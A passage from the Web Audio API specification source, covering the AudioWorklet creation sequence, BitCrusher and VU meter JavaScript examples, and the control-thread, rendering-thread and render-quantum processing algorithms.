Events</h4>\n\nThe following figure illustrates an idealized sequence of events\noccurring relative to an {{AudioWorklet}}:\n\n<figure>\n\t<img alt=\"\" src=\"images/audioworklet-instantiation-sequence.png\" width=\"784\" height=\"427\">\n\t<figcaption>\n\t\t{{AudioWorklet}} sequence\n\t</figcaption>\n</figure>\n\nThe steps depicted in the diagram are one possible sequence of\nevents involving the creation of an {{AudioContext}} and an\nassociated {{AudioWorkletGlobalScope}}, followed by the creation\nof an {{AudioWorkletNode}} and its associated\n{{AudioWorkletProcessor}}.\n\n<div algorithm=\"audioworklet sequence\">\n\t1. An {{AudioContext}} is created.\n\n\t2. In the main scope, <code>context.audioWorklet</code> is requested to add a script module.\n\n\t2. Since none exists yet, a new {{AudioWorkletGlobalScope}} is created in association with the context. This is the global scope in which {{AudioWorkletProcessor}} class definitions will be evaluated. (On subsequent calls, this previously created scope will be used.)\n\n\t2. The imported script is run in the newly created global scope.\n\n\t3. As part of running the imported script, an {{AudioWorkletProcessor}} is registered under\n\t\ta key (<code>\"custom\"</code> in the above diagram) within the {{AudioWorkletGlobalScope}}.\n\t\tThis populates maps both in the global scope and in the {{AudioContext}}.\n\n\t3. The promise for the {{addModule()}} call is resolved.\n\n\t6. In the main scope, an {{AudioWorkletNode}} is created using\n\t\tthe user-specified key along with a\n\t\tdictionary of options.\n\n\t7. As part of the node's creation, this key is used to look up the\n\t\tcorrect {{AudioWorkletProcessor}} subclass for instantiation.\n\n\t8. An instance of the {{AudioWorkletProcessor}} subclass is\n\t\tinstantiated with a structured clone of the same options\n\t\tdictionary. This instance is paired with the previously created\n\t\t{{AudioWorkletNode}}.\n</div>\n\n<h4 id=\"AudioWorklet-Examples\">\nAudioWorklet Examples</h4>\n\n<h5 id=\"the-bitcrusher-node\">\nThe BitCrusher Node</h5>\n\nBitcrushing is a mechanism by which the quality of an audio\nstream is reduced both by quantizing the sample value (simulating\na lower bit-depth), and by quantizing in time resolution\n(simulating a lower sample rate). This example shows how to use\n{{AudioParam}}s (in this case, treated as\n<a>a-rate</a>) inside an\n{{AudioWorkletProcessor}}.\n\n<xmp line-numbers class=\"example\" highlight=\"js\" title=\"BitCrusher - Global Scope\">\nconst context = new AudioContext();\ncontext.audioWorklet.addModule('bitcrusher.js').then(() => {\n\tconst osc = new OscillatorNode(context);\n\tconst amp = new GainNode(context);\n\n\t// Create a worklet node. 'BitCrusher' identifies the\n\t// AudioWorkletProcessor previously registered when\n\t// bitcrusher.js was imported. The options automatically\n\t// initialize the correspondingly named AudioParams.\n\tconst bitcrusher = new AudioWorkletNode(context, 'bitcrusher', {\n\t\tparameterData: {bitDepth: 8}\n\t});\n\n\tosc.connect(bitcrusher).connect(amp).connect(context.destination);\n\tosc.start();\n});\n</xmp>\n\n<xmp line-numbers class=\"example\" highlight=\"js\" title=\"BitCrusher - AudioWorkletGlobalScope (bitcrusher.js)\">\nclass Bitcrusher extends AudioWorkletProcessor {\n\tstatic get parameterDescriptors () {\n\t\treturn [{\n\t\t\tname: 'bitDepth',\n\t\t\tdefaultValue: 12,\n\t\t\tminValue: 1,\n\t\t\tmaxValue: 16\n\t\t}, {\n\t\t\tname: 'frequencyReduction',\n\t\t\tdefaultValue: 0.5,\n\t\t\tminValue: 0,\n\t\t\tmaxValue: 1\n\t\t}];\n\t}\n\n\tconstructor (options) {\n\t\t// The initial parameter value can be set by passing |options|\n\t\t// to the processor's constructor.\n\t\tsuper(options);\n\t\tthis._phase = 0;\n\t\tthis._lastSampleValue = 0;\n\t}\n\n\tprocess (inputs, outputs, parameters) {\n\t\tconst input = inputs[0];\n\t\tconst output = outputs[0];\n\t\tconst bitDepth = parameters.bitDepth;\n\t\tconst frequencyReduction = parameters.frequencyReduction;\n\n\t\tif (bitDepth.length > 1) {\n\t\t\t// The bitDepth parameter array has 128 sample values.\n\t\t\tfor (let channel = 0; channel < output.length; ++channel) {\n\t\t\t\tfor (let i = 0; i < output[channel].length; ++i) {\n\t\t\t\t\tlet step = Math.pow(0.5, bitDepth[i]);\n\n\t\t\t\t\t// Use modulo for indexing to handle the case where\n\t\t\t\t\t// the length of the frequencyReduction array is 1.\n\t\t\t\t\tthis._phase += frequencyReduction[i % frequencyReduction.length];\n\t\t\t\t\tif (this._phase >= 1.0) {\n\t\t\t\t\t\tthis._phase -= 1.0;\n\t\t\t\t\t\tthis._lastSampleValue =\n\t\t\t\t\t\t\tstep * Math.floor(input[channel][i] / step + 0.5);\n\t\t\t\t\t}\n\t\t\t\t\toutput[channel][i] = this._lastSampleValue;\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\t// Because we know bitDepth is constant for this call,\n\t\t\t// we can lift the computation of step outside the loop,\n\t\t\t// saving many operations.\n\t\t\tconst step = Math.pow(0.5, bitDepth[0]);\n\t\t\tfor (let channel = 0; channel < output.length; ++channel) {\n\t\t\t\tfor (let i = 0; i < output[channel].length; ++i) {\n\t\t\t\t\tthis._phase += frequencyReduction[i % frequencyReduction.length];\n\t\t\t\t\tif (this._phase >= 1.0) {\n\t\t\t\t\t\tthis._phase -= 1.0;\n\t\t\t\t\t\tthis._lastSampleValue =\n\t\t\t\t\t\t\tstep * Math.floor(input[channel][i] / step + 0.5);\n\t\t\t\t\t}\n\t\t\t\t\toutput[channel][i] = this._lastSampleValue;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t// No need to return a value; this node's lifetime is dependent only on its\n\t\t// input connections.\n\t}\n});\n\nregisterProcessor('bitcrusher', Bitcrusher);\n</xmp>\n\nNote: In the definition of {{AudioWorkletProcessor}} class, an\n{{InvalidStateError}} will be thrown if the\nauthor-supplied constructor has an explicit return value that is not\n<code>this</code> or does not properly call <code>super()</code>.\n\n<h5 id=\"vu-meter-mode\">\nVU Meter Node</h5>\n\nThis example of a simple sound level meter further illustrates\nhow to create an {{AudioWorkletNode}} subclass\nthat acts like a native {{AudioNode}}, accepting\nconstructor options and encapsulating the inter-thread\ncommunication (asynchronous) between\n{{AudioWorkletNode}} and\n{{AudioWorkletProcessor}}. This node does not use any output.\n\n<div class=\"correction\" id=\"c2359\">\n  <span class=\"marker\">Candidate Correction\n    <a href=\"https://github.com/WebAudio/web-audio-api/issues/2359\">Issue 2359.</a>\n  </span>\n  Fix typo in code; semi-colon is incorrect.\n</div>\n<pre line-numbers class=\"example\" highlight=\"js\" title=\"VUMeterNode - Global Scope (vumeternode.js)\">\n/* vumeter-node.js: Main global scope */\n\nexport default class VUMeterNode extends AudioWorkletNode {\n\tconstructor (context, updateIntervalInMS) {\n\t\tsuper(context, 'vumeter', {\n\t\t\tnumberOfInputs: 1,\n\t\t\tnumberOfOutputs: 0,\n\t\t\tchannelCount: 1,\n\t\t\tprocessorOptions: {\n\t\t\t\tupdateIntervalInMS: updateIntervalInMS || 16.67<del cite=#c2359>;</del>\n\t\t\t}\n\t\t});\n\n\t\t// States in AudioWorkletNode\n\t\tthis._updateIntervalInMS = updateIntervalInMS;\n\t\tthis._volume = 0;\n\n\t\t// Handles updated values from AudioWorkletProcessor\n\t\tthis.port.onmessage = event => {\n\t\t\tif (event.data.volume)\n\t\t\t\tthis._volume = event.data.volume;\n\t\t}\n\t\tthis.port.start();\n\t}\n\n\tget updateInterval() {\n\t\treturn this._updateIntervalInMS;\n\t}\n\n\tset updateInterval(updateIntervalInMS) {\n\t\tthis._updateIntervalInMS = updateIntervalInMS;\n\t\tthis.port.postMessage({updateIntervalInMS: updateIntervalInMS});\n\t}\n\n\tdraw () {\n\t\t// Draws the VU meter based on the volume value\n\t\t// every |this._updateIntervalInMS| milliseconds.\n\t}\n};\n</pre>\n\n<xmp line-numbers class=\"example\" highlight=\"js\" title=\"VUMeterNode - AudioWorkletGlobalScope (vumeterprocessor.js)\">\n/* vumeter-processor.js: AudioWorkletGlobalScope */\n\nconst SMOOTHING_FACTOR = 0.9;\nconst MINIMUM_VALUE = 0.00001;\n\nregisterProcessor('vumeter', class extends AudioWorkletProcessor {\n\tconstructor (options) {\n\t\tsuper();\n\t\tthis._volume = 0;\n\t\tthis._updateIntervalInMS = options.processorOptions.updateIntervalInMS;\n\t\tthis._nextUpdateFrame = this._updateIntervalInMS;\n\n\t\tthis.port.onmessage = event => {\n\t\t\tif (event.data.updateIntervalInMS)\n\t\t\t\tthis._updateIntervalInMS = event.data.updateIntervalInMS;\n\t\t}\n\t}\n\n\tget intervalInFrames () {\n\t\treturn this._updateIntervalInMS / 1000 * sampleRate;\n\t}\n\n\tprocess (inputs, outputs, parameters) {\n\t\tconst input = inputs[0];\n\t\t// Note that the input will be down-mixed to mono; however, if no inputs are\n\t\t// connected then zero channels will be passed in.\n\t\tif (input.length > 0) {\n\t\t\tconst samples = input[0];\n\t\t\tlet sum = 0;\n\t\t\tlet rms = 0;\n\n\t\t\t// Calculated the squared-sum.\n\t\t\tfor (let i = 0; i < samples.length; ++i)\n\t\t\t\tsum += samples[i] * samples[i];\n\n\t\t\t// Calculate the RMS level and update the volume.\n\t\t\trms = Math.sqrt(sum / samples.length);\n\t\t\tthis._volume = Math.max(rms, this._volume * SMOOTHING_FACTOR);\n\n\t\t\t// Update and sync the volume property with the main thread.\n\t\t\tthis._nextUpdateFrame -= samples.length;\n\t\t\tif (this._nextUpdateFrame < 0) {\n\t\t\t\tthis._nextUpdateFrame += this.intervalInFrames;\n\t\t\t\tthis.port.postMessage({volume: this._volume});\n\t\t\t}\n\t\t}\n\n\t\t// Keep on processing if the volume is above a threshold, so that\n\t\t// disconnecting inputs does not immediately cause the meter to stop\n\t\t// computing its smoothed value.\n\t\treturn this._volume >= MINIMUM_VALUE;\n\t}\n\n});\n</xmp>\n\n<xmp line-numbers class=\"example\" highlight=\"js\" title=\"VUMeterNode - Global Scope (main JS file)\">\n/* index.js: Main global scope, entry point */\nimport VUMeterNode from './vumeter-node.js';\n\nconst context = new AudioContext();\ncontext.audioWorklet.addModule('vumeter-processor.js').then(() => {\n\tconst oscillator = new OscillatorNode(context);\n\tconst vuMeterNode = new VUMeterNode(context, 25);\n\toscillator.connect(vuMeterNode);\n\toscillator.start();\n\n\tfunction drawMeter () {\n\t\tvuMeterNode.draw();\n\t\trequestAnimationFrame(drawMeter);\n\t}\n\n\tdrawMeter();\n});\n</xmp>\n\n<h2 id=\"processing-model\">\nProcessing model</h2>\n\n<h3 id=\"processing-model-background\" class=\"non-normative\">\nBackground</h3>\n\n<em>This section is non-normative.</em>\n\nReal-time audio systems that require low latency are often\nimplemented using <em>callback functions</em>, where the operating\nsystem calls the program back when more audio has to be computed in\norder for the playback to stay uninterrupted. Such a callback is ideally called\non a high priority thread (often the highest priority on the system).\nThis means that a program that deals with audio only executes code\nfrom this callback. Crossing thread boundaries or adding some buffering between\na rendering thread and the callback would naturally add latency or make the\nsystem less resilient to glitches.\n\nFor this reason, the traditional way of executing asynchronous\noperations on the Web Platform, the event loop, does not work here,\nas the thread is not <em>continuously executing</em>. Additionally, a\nlot of unnecessary and potentially blocking operations are available\nfrom traditional execution contexts (Windows and Workers), which is\nnot something that is desirable to reach an acceptable level of\nperformance.\n\nAdditionally, the Worker model makes creating a dedicated thread\nnecessary for a script execution context, while all {{AudioNode}}s\nusually share the same execution context.\n\nNote: This section specifies how the end result should look like, not how\nit should be implemented. In particular, instead of using message\nqueue, implementors can use memory that is shared between threads, as\nlong as the memory operations are not reordered.\n\n<h3 id=\"control-thread-and-rendering-thread\">\nControl Thread and Rendering Thread</h3>\n\nThe Web Audio API MUST be implemented using a <a>control thread</a>,\nand a <a>rendering thread</a>.\n\nThe <dfn>control thread</dfn> is the thread from which the\n{{AudioContext}} is instantiated, and from which authors\nmanipulate the audio graph, that is, from where the operation on a\n{{BaseAudioContext}} are invoked. The <dfn>rendering thread</dfn>\nis the thread on which the actual audio output is computed, in\nreaction to the calls from the <a>control thread</a>. It can be a\nreal-time, callback-based audio thread, if computing audio for an\n{{AudioContext}}, or a normal thread if computing audio for an {{OfflineAudioContext}}.\n\nThe <a>control thread</a> uses a traditional event loop, as described\nin [[HTML]].\n\nThe <a>rendering thread</a> uses a specialized rendering loop,\ndescribed in the section <a href=\"#rendering-loop\">Rendering an audio\ngraph</a>\n\nCommunication from the <a>control thread</a> to the <a>rendering\nthread</a> is done using <a>control message</a> passing.\nCommunication in the other direction is done using regular event loop\ntasks.\n\nEach {{AudioContext}} has a single <dfn>control message\nqueue</dfn> that is a list of <dfn lt=\"control message\">control\nmessages</dfn> that are operations running on the <a>rendering\nthread</a>.\n\n<dfn id=\"queuing\" lt=\"queue a control message\">Queuing a control message</dfn>\nmeans adding the message to the end of the <a>control message queue</a> of an\n{{BaseAudioContext}}.\n\nNote: For example, successfuly calling <code>start()</code> on an\n{{AudioBufferSourceNode}} <code>source</code> adds a <a>control\nmessage</a> to the <a href=\"#control-message-queue\">control message\nqueue</a> of the associated {{BaseAudioContext}}.\n\n<a>Control messages</a> in a <a>control message queue</a> are ordered\nby time of insertion. The <dfn>oldest message</dfn> is therefore the\none at the front of the <a>control message queue</a>.\n\n<div algorithm=\"swapping control message queue\">\n\t<dfn lt=\"swap\">Swapping</dfn> a <a>control message queue</a>\n\t<var>Q<sub>A</sub></var> with another <a>control message queue</a>\n\t<var>Q<sub>B</sub></var> means executing the following steps:\n\n\t1. Let <var>Q<sub>C</sub></var> be a new, empty <a>control message\n\t\tqueue</a>.\n\n\t2. Move all the <a>control messages</a> <var>Q<sub>A</sub></var> to\n\t\t<var>Q<sub>C</sub></var>.\n\n\t3. Move all the <a>control messages</a> <var>Q<sub>B</sub></var> to\n\t\t<var>Q<sub>A</sub></var>.\n\n\t4. Move all the <a>control messages</a> <var>Q<sub>C</sub></var> to\n\t\t<var>Q<sub>B</sub></var>.\n</div>\n\n<h3 id=\"asynchronous-operations\">\nAsynchronous Operations</h3>\n\nCalling methods on {{AudioNode}}s is effectively asynchronous, and\nMUST to be done in two phases: a synchronous part and an asynchronous\npart. For each method, some part of the execution happens on the\n<a>control thread</a> (for example, throwing an exception in case of\ninvalid parameters), and some part happens on the <a>rendering\nthread</a> (for example, changing the value of an {{AudioParam}}).\n\nIn the description of each operation on {{AudioNode}}s and\n{{BaseAudioContext}}s, the synchronous section is marked with a ⌛. All\nthe other operations are executed <a href=\"https://html.spec.whatwg.org/multipage/infrastructure.html#in-parallel\">\nin parallel</a>, as described in [[HTML]].\n\nThe synchronous section is executed on the <a>control thread</a>, and\nhappens immediately. If it fails, the method execution is aborted,\npossibly throwing an exception. If it succeeds, a <a>control\nmessage</a>, encoding the operation to be executed on the\n<a>rendering thread</a> is enqueued on the <a>control message\nqueue</a> of this <a>rendering thread</a>.\n\nThe synchronous and asynchronous sections order with respect to other\nevents MUST be the same: given two operation <var>A</var> and\n<var>B</var> with respective synchronous and asynchronous section\n<var>A<sub>Sync</sub></var> and <var>A<sub>Async</sub></var>, and\n<var>B<sub>Sync</sub></var> and <var>B<sub>Async</sub></var>, if\n<var>A</var> happens before <var>B</var>, then\n<var>A<sub>Sync</sub></var> happens before\n<var>B<sub>Sync</sub></var>, and <var>A<sub>Async</sub></var> happens\nbefore <var>B<sub>Async</sub></var>. In other words, synchronous and\nasynchronous sections can't be reordered.\n\n<h3 id=\"rendering-loop\">\nRendering an Audio Graph</h3>\n\nRendering an audio graph is done in blocks of 128 samples-frames. A\nblock of 128 samples-frames is called a <dfn>render quantum</dfn>, and\nthe <dfn>render quantum size</dfn> is 128.\n\nOperations that happen <dfn>atomically</dfn> on a\ngiven thread can only be executed when no other [=Atomically|atomic=]\noperation is running on another thread.\n\nThe algorithm for rendering a block of audio from a {{BaseAudioContext}}\n<em>G</em> with a <a href=\"#control-message-queue\">control message queue</a>\n<em>Q</em> is comprised of multiple steps and explained in further detail\nin the algorithm of <a href=\"#rendering-a-graph\">rendering a graph</a>.\n\n<div class=\"note\">\n\tIn practice, the {{AudioContext}} <a>rendering thread</a> is\n\toften running off a system-level audio callback, that executes in\n\tan isochronous fashion.\n\n\tAn {{OfflineAudioContext}} is not required to have a\n\tsystem-level audio callback, but behaves as if it did with the\n\tcallback happening as soon as the previous callback is\n\tfinished.\n</div>\n\nThe audio callback is also queued as a task in the <a\nhref=\"#control-message-queue\">control message queue</a>. The UA MUST perform\nthe following algorithms to process render quanta to fulfill such task by\nfilling up the requested buffer size. Along with the <a>control message\nqueue</a>, each {{AudioContext}} has a regular <a\nhref=\"https://html.spec.whatwg.org/multipage/webappapis.html#task-queue\">task\nqueue</a>, called its <dfn for=\"BaseAudioContext\">associated task queue</dfn>\nfor tasks that are posted to the rendering thread from the control thread. An\nadditional microtask checkpoint is performed after processing a render quantum\nto run any microtasks that might have been queued during the execution of the\n`process` methods of {{AudioWorkletProcessor}}.\n\nAll tasks posted from an {{AudioWorkletNode}} are posted to the [=associated\ntask queue=] of its associated {{BaseAudioContext}}.\n\n<div id=\"rendering-initialization\" algorithm=\"initialize rendering loop\">\n\tThe following step MUST be performed once before the rendering loop starts.\n\n\t1. Set the internal slot <dfn attribute\n\t\tfor=\"BaseAudioContext\">[[current frame]]</dfn> of the\n\t\t{{BaseAudioContext}} to 0. Also set {{BaseAudioContext/currentTime}} to 0.\n</div>\n\n<div id=\"rendering-a-graph\" algorithm=\"rendering a graph\">\n  The following steps MUST be performed when rendering a render quantum.\n\n\t1. Let <var>render result</var> be <code>false</code>.\n\n\t2. Process the [=control message queue=].\n\n\t\t1. Let <var>Q<sub>rendering</sub></var> be an empty [=control message\n\t\t\tqueue=]. [=Atomically=] [=swap=] <var>Q<sub>rendering</sub></var>\n\t\t\twith the current [=control message queue=].\n\n\t\t2. While there are messages in <var>Q<sub>rendering</sub></var>, execute the\n\t\t\tfollowing steps:\n\n\t\t\t1. Execute the asynchronous section of the [=oldest message=] of\n\t\t\t\t<var>Q<sub>rendering</sub></var>.\n\n\t\t\t2. Remove the [=oldest message=] of <var>Q<sub>rendering</sub></var>.\n\n\n\t3. Process the {{BaseAudioContext}}'s [=associated task queue=].\n\n\n\t\t1. Let <var>task queue</var> be the {{BaseAudioContext}}'s [=associated task queue=].\n\t\t2. Let <var>task count</var> be the number of tasks in the in <var>task queue</var>\n\t\t3. While <var>task count</var> is not equal to 0, execute the following steps:\n\t\t\t1. Let <var>oldest task</var> be the first runnable task in <var>task queue</var>, and remove it from <var>task queue</var>.\n\t\t\t2. Set the rendering loop's currently running task to <var>oldest task</var>.\n\t\t\t3. Perform <var>oldest task</var>'s steps.\n\t\t\t4. Set the rendering loop currently running task back to <code>null</code>.\n\t\t\t6. Decrement <var>task count</var>\n\t\t\t5. Perform a microtask checkpoint.\n\n\t4. Process a render quantum.\n\n\t\t1. If the {{[[rendering thread state]]}} of the {{BaseAudioContext}} is not\n\t\t\t<code>running</code>, return false.\n\n\t\t2. Order the {{AudioNode}}s of the {{BaseAudioContext}} to be processed.\n\n\t\t\t1. Let <var>ordered node list</var> be an empty list of {{AudioNode}}s and\n\t\t\t\t{{AudioListener}}. It will contain an ordered list of {{AudioNode}}s and\n\t\t\t\tthe {{AudioListener}} when this ordering algorithm terminates.\n\n\t\t\t2. Let <var>nodes</var> be the set of all nodes created by this\n\t\t\t\t{{BaseAudioContext}}, and still alive.\n\n\t\t\t3. Add the {{AudioListener}} to <var>nodes</var>.\n\n\t\t\t4. Let <var>cycle breakers</var> be an empty set of {{DelayNode}}s. It will\n\t\t\t\tcontain all the {{DelayNode}}s that are part of a cycle.\n\n\t\t\t5. For each {{AudioNode}} <var>node</var> in <var>nodes</var>:\n\n\t\t\t\t1. If <var>node</var> is a {{DelayNode}} that is part of a cycle, add it\n\t\t\t\t\tto <var>cycle breakers</var> and remove it from <var>nodes</var>.\n\n\t\t\t6. For each {{DelayNode}} <var>delay</var> in <var>cycle breakers</var>:\n\n\t\t\t\t1. Let <var>delayWriter</var> and <var>delayReader</var> respectively be a\n\t\t\t\t\t\t<a>DelayWriter</a> and a <a>DelayReader</a>, for <var>delay</var>.\n\t\t\t\t\t\tAdd <var>delayWriter</var> and <var>delayReader</var> to\n\t\t\t\t\t\t<var>nodes</var>. Disconnect <var>delay</var> from all its input and\n\t\t\t\t\t\toutputs.\n\n\t\t\t\t\t\tNote: This breaks the cycle: if a <code>DelayNode</code> is in a\n\t\t\t\t\t\tcycle, its two ends can be considered separately, because delay lines\n\t\t\t\t\t\tcannot be smaller than one render quantum when in a cycle.\n\n\t\t\t7. If <var>nodes</var> contains cycles, [=mute=] all the\n\t\t\t\t{{AudioNode}}s that are part of this cycle, and remove them from\n\t\t\t\t<var>nodes</var>.\n\n\t\t\t8. Consider all elements in <var>nodes</var> to be unmarked. While there are unmarked elements in <var>nodes</var>:\n\n\t\t\t\t1. Choose an element <var>node</var> in <var>nodes</var>.\n\n\t\t\t\t2. [=Visit=] <var>node</var>.\n\n\t\t\t\t<div algorithm=\"visiting a node\">\n\t\t\t\t\t<dfn lt=\"Visit\">Visiting a node</dfn> means performing\n\t\t\t\t\tthe following steps:\n\n\t\t\t\t\t1. If <var>node</var> is marked, abort these steps.\n\n\t\t\t\t\t2. Mark <var>node</var>.\n\n\t\t\t\t\t3. If <var>node</var> is an {{AudioNode}}, [=Visit=] each\n\t\t\t\t\t\t{{AudioNode}} connected to the input of <var>node</var>.\n\n\t\t\t\t\t4. For each {{AudioParam}} <var>param</var> of <var>node</var>:\n\t\t\t\t\t\t1. For each {{AudioNode}} <var>param input node</var> connected to <var>param</var>:\n\t\t\t\t\t\t\t1. [=Visit=] <var>param input node</var>\n\n\t\t\t\t\t5. Add <var>node</var> to the beginning of <var ignore>ordered node list</var>.\n\t\t\t\t</div>\n\n\t\t\t9. Reverse the order of <var>ordered node list</var>.\n\n\t\t4. [[#computation-of-value|Compute the value(s)]] of the\n\t\t\t{{AudioListener}}'s {{AudioParam}}s for this block.\n\n\t\t5. For each {{AudioNode}}, in <var>ordered node list</var>:\n\n\t\t\t1. For each {{AudioParam}} of this {{AudioNode}}, execute these steps:\n\n\t\t\t\t1. If this {{AudioParam}} has any {{AudioNode}} connected to it,\n\t\t\t\t\t[[#channel-up-mixing-and-down-mixing|sum]] the buffers\n\t\t\t\t\t[=Making a buffer available for reading|made available for reading=] by\n\t\t\t\t\tall {{AudioNode}} connected to this {{AudioParam}},\n\t\t\t\t\t[[#down-mix|down mix]] the resulting buffer down to a mono\n\t\t\t\t\tchannel, and call this buffer the <dfn id=\"input-audioparam-buffer\">\n\t\t\t\t\tinput AudioParam buffer</dfn>.\n\n\t\t\t\t2. [[#computation-of-value|Compute the value(s)]] of this\n\t\t\t\t\t{{AudioParam}} for this block.\n\n\t\t\t\t3. [=Queue a control message=] to set the {{[[current value]]}} slot\n\t\t\t\t\tof this {{AudioParam}} according to [[#computation-of-value]].\n\n\t\t\t2. If this {{AudioNode}} has any {{AudioNode}}s connected to its input,\n\t\t\t\t[[#channel-up-mixing-and-down-mixing|sum]] the buffers\n\t\t\t\t[=Making a buffer available for reading|made available for reading=] by all\n\t\t\t\t{{AudioNode}}s connected to this {{AudioNode}}. The resulting buffer is\n\t\t\t\tcalled the <dfn>input buffer</dfn>.\n\t\t\t\t[[#channel-up-mixing-and-down-mixing|Up or down-mix]] it to\n\t\t\t\tmatch if number of input channels of this {{AudioNode}}.\n\n\t\t\t3. If this {{AudioNode}} is a <a>source node</a>,\n\t\t\t\t[=Computing a block of audio|compute a block of audio=], and\n\t\t\t\t[=Making a buffer available for reading|make it available for reading=].\n\n\t\t\t4. If this {{AudioNode}} is an {{AudioWorkletNode}}, execute these substeps:\n\n\t\t\t\t1. Let |processor| be the associated {{AudioWorkletProcessor}}\n\t\t\t\t\tinstance of {{AudioWorkletNode}}.\n\n\t\t\t\t1. Let |O| be the ECMAScript object corresponding to |processor|.\n\n\t\t\t\t1. Let |processCallback| be an uninitialized variable.\n\n\t\t\t\t1. Let |completion| be an uninitialized variable.\n\n\t\t\t\t1. [=Prepare to run script=] with the [=current settings object=].\n\n\t\t\t\t1. [=Prepare to run a callback=] with the [=current settings object=].\n\n\t\t\t\t1. Let |getResult| be\n\t\t\t\t\t<a href=\"https://tc39.github.io/ecma262/#sec-get-o-p\">\n\t\t\t\t\tGet</a>(|O|, \"process\").\n\n\t\t\t\t1. If |getResult| is an\n\t\t\t\t\t<a href=\"https://tc39.github.io/ecma262/#sec-completion-record-specification-type\">\n\t\t\t\t\tabrupt completion</a>, set |completion| to |getResult| and jump to the step\n\t\t\t\t\tlabeled <a href=\"#audio-worklet-render-return\">return</a>.\n\n\t\t\t\t1. Set |processCallback| to |getResult|.\\[[Value]].\n\n\t\t\t\t1. If <a href=\"https://tc39.es/ecma262/#sec-returnifabrupt-shorthands\">!</a>\n\t\t\t\t\t<a href=\"https://tc39.es/ecma262/#sec-iscallable\">\n\t\t\t\t\tIsCallable</a>(|processCallback|) is `false`, then:\n\n\t\t\t\t\t1. Set |completion| to new\n\t\t\t\t\t\t<a href=\"https://tc39.es/ecma262/#sec-throwcompletion\">Completion</a>\n\t\t\t\t\t\t{\\[[Type]]: throw, \\[[Value]]: a newly created\n\t\t\t\t\t\t<a href=\"https://tc39.es/ecma262/#sec-native-error-types-used-in-this-standard-typeerror\">\n\t\t\t\t\t\tTypeError</a> object, \\[[Target]]: empty}.\n\n\t\t\t\t\t1. Jump to the step labeled\n\t\t\t\t\t\t<a href=\"#audio-worklet-render-return\">return</a>.\n\n\t\t\t\t1. Set {{[[callable process]]}} to `true`.\n\n\t\t\t\t1. Perform the following substeps:\n\n\t\t\t\t\t1. Let |args| be a\n\t\t\t\t\t\t<a href=\"https://heycam.github.io/webidl/#web-idl-arguments-list\">\n\t\t\t\t\t\tWeb IDL arguments list</a> consisting of\n\t\t\t\t\t\t{{AudioWorkletProcessCallback/inputs}},\n\t\t\t\t\t\t{{AudioWorkletProcessCallback/outputs}}, and\n\t\t\t\t\t\t{{AudioWorkletProcessCallback/parameters}}.\n\n\t\t\t\t\t1. Let |esArgs| be the result of\n\t\t\t\t\t\t<a href=\"https://heycam.github.io/webidl/#web-idl-arguments-list-converting\">\n\t\t\t\t\t\tconverting</a> |args| to an ECMAScript arguments list.\n\n\t\t\t\t\t1. Let |callResult| be the <a href=\"https://tc39.github.io/ecma262/#sec-call\">\n\t\t\t\t\t\tCall</a>(|processCallback|, |O|, |esArgs|). This operation\n\t\t\t\t\t\t[=Computing a block of audio|computes a block of audio=] with |esArgs|.\n\t\t\t\t\t\tUpon a successful function call, a buffer containing copies of\n\t\t\t\t\t\tthe elements of the {{Float32Array}}s passed via the\n\t\t\t\t\t\t{{AudioWorkletProcessCallback/outputs}} is\n\t\t\t\t\t\t[=Making a buffer available for reading|made available for reading=].\n\t\t\t\t\t\tAny {{Promise}} resolved within this call will be queued into the\n\t\t\t\t\t\tmicrotask queue in the {{AudioWorkletGlobalScope}}.\n\n\t\t\t\t\t1. If |callResult| is an\n\t\t\t\t\t\t<a href=\"https://tc39.github.io/ecma262/#sec-completion-record-specification-type\">\n\t\t\t\t\t\tabrupt completion</a>, set |completion| to |callResult| and jump to the\n\t\t\t\t\t\tstep labeled <a href=\"#audio-worklet-render-return\">return</a>.\n\n\t\t\t\t\t1. Set |processor|’s <a>active source</a> flag to\n\t\t\t\t\t\t<a href=\"https://tc39.github.io/ecma262/#sec-toboolean\">\n\t\t\t\t\t\tToBoolean</a>(|callResult|.\\[[Value]]).\n\n\t\t\t\t1. <b id=\"audio-worklet-render-return\">Return:</b> at this point |completion|\n\t\t\t\t\twill be set to an ECMAScript\n\t\t\t\t\t<a href=\"https://tc39.es/ecma262/#sec-completion-record-type-specification-type\">completion</a> value.\n\n\t\t\t\t\t1. [=Clean up after running a callback=] with the [=current settings object=].\n\n\t\t\t\t\t1. [=Clean up after running script=] with the [=current settings object=].\n\n\t\t\t\t\t1. If |completion| is an\n\t\t\t\t\t\t<a href=\"https://tc39.github.io/ecma262/#sec-completion-record-specification-type\">\n\t\t\t\t\t\tabrupt completion</a>:\n\n\t\t\t\t\t\t1. Set {{[[callable process]]}} to `false`.\n\n\t\t\t\t\t\t1. Set |processor|'s <a>active source</a> flag to `false`.\n\n\t\t\t\t\t\t1. [=Making a buffer available for reading|Make a silent output buffer available for reading=].\n\n\t\t\t\t\t\t1. <a>Queue a task</a> to the <a>control thread</a>\n\t\t\t\t\t\t\t<a spec=\"dom\" lt=\"fire an event\">fire</a> an\n\t\t\t\t\t\t\t{{ErrorEvent}} named <code>processorerror</code> at the\n\t\t\t\t\t\t\tassociated {{AudioWorkletNode}}.\n\n\t\t\t5. If this {{AudioNode}} is a <a>destination node</a>,\n\t\t\t\t[=Recording the input|record the input=] of this {{AudioNode}}.\n\n\t\t\t6. Else, [=processing-input-buffer|process=] the <a>input buffer</a>, and\n\t\t\t\t[=Making a buffer available for reading|make available for reading=] the\n\t\t\t\tresulting buffer.\n\n\t\t6. [=Atomically=] perform the following steps:\n\n\t\t\t1. Increment {{[[current frame]]}} by the [=render quantum size=].\n\n\t\t\t2. Set {{BaseAudioContext/currentTime}} to {{[[current frame]]}} divided\n\t\t\t\tby {{BaseAudioContext/sampleRate}}.\n\n\t\t7. Set <var>render result</var> to <code>true</code>.\n\n\t5. [=Perform a microtask checkpoint=].\n\n\t6. Return <var>render result</var>.\n</div>\n\n<dfn id=\"mute\">Muting</dfn> an {{AudioNode}} means that its\noutput MUST be silence for the rendering of this audio block.\n\n<dfn id=\"available-for-reading\">Making a buffer available for reading</dfn>\nfrom an {{AudioNode}} means putting it in a state where other\n{{AudioNode}}s connected to this {{AudioNode}} can safely\nread from it.\n\nNote: For example, implementations can choose to allocate a new buffer,\nor have a more elaborate mechanism, reusing an existing buffer\nthat is now unused.\n\n<dfn>Recording the input</dfn> of an {{AudioNode}}\nmeans copying the input data of this {{AudioNode}} for future\nusage.\n\n<dfn>Computing a block of audio</dfn> means\nrunning the algorithm for this 